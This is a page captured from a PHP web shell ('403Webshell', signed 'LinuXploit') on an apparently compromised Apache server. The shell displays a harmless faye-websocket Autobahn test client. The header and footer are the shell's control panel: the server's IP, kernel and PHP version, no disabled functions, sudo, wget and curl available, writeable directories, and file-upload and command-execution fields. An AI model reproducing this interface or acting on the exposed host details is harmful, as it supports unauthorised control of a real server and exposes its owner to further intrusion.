403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/faye-websocket/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/faye-websocket/examples/autobahn_client.js
var WebSocket = require('../lib/faye/websocket'),
    pace      = require('pace');

var host  = 'ws://localhost:9001',
    agent = 'Node ' + process.version,
    cases = 0,
    skip  = [];

var socket = new WebSocket.Client(host + '/getCaseCount'),
    progress;

socket.onmessage = function(event) {
  console.log('Total cases to run: ' + event.data);
  cases = parseInt(event.data);
  progress = pace(cases);
};

socket.onclose = function() {
  var runCase = function(n) {
    progress.op();

    if (n > cases) {
      socket = new WebSocket.Client(host + '/updateReports?agent=' + encodeURIComponent(agent));
      socket.onclose = process.exit;

    } else if (skip.indexOf(n) >= 0) {
      runCase(n + 1);

    } else {
      socket = new WebSocket.Client(host + '/runCase?case=' + n + '&agent=' + encodeURIComponent(agent));

      socket.onmessage = function(event) {
        socket.send(event.data);
      };

      socket.onclose = function() {
        runCase(n + 1);
      };
    }
  };

  runCase(1);
};


Youez - 2016 - github.com/yon3zu
LinuXploit